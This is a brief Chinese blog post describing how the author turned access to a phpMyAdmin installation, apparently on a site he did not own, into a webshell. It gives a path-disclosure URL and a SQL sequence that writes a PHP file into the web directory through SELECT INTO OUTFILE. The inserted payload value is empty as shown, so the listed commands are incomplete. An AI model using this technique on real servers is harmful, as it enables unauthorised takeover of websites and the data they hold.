最新消息:点击查看大S的省钱秘笈

拿下phpMyAdmin转webshell

网络相关 Slyar 52浏览 0评论

文章作者:姜南(Slyar) 文章来源:Slyar Home (www.slyar.com) 转载请注明,谢谢合作。

看了会生物,顺便拿以前得到的一个phpmyadmin开刀,耗时10分钟,继续看书……

访问 http://www.xxxxx.com/phpmyadmin/libraries/select_lang.lib.php 得到物理路径.

选择一个Database.运行以下语句

Create TABLE x (cmd text NOT NULL);
Insert INTO x (cmd) VALUES('');
select cmd from x into outfile 'E:/phpMyAdmin/libraries/jannick.php';
Drop TABLE IF EXISTS x;

没什么意外的话,应该得到该站的webshell了。

转载请注明:Slyar Home » 拿下phpMyAdmin转webshell

发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址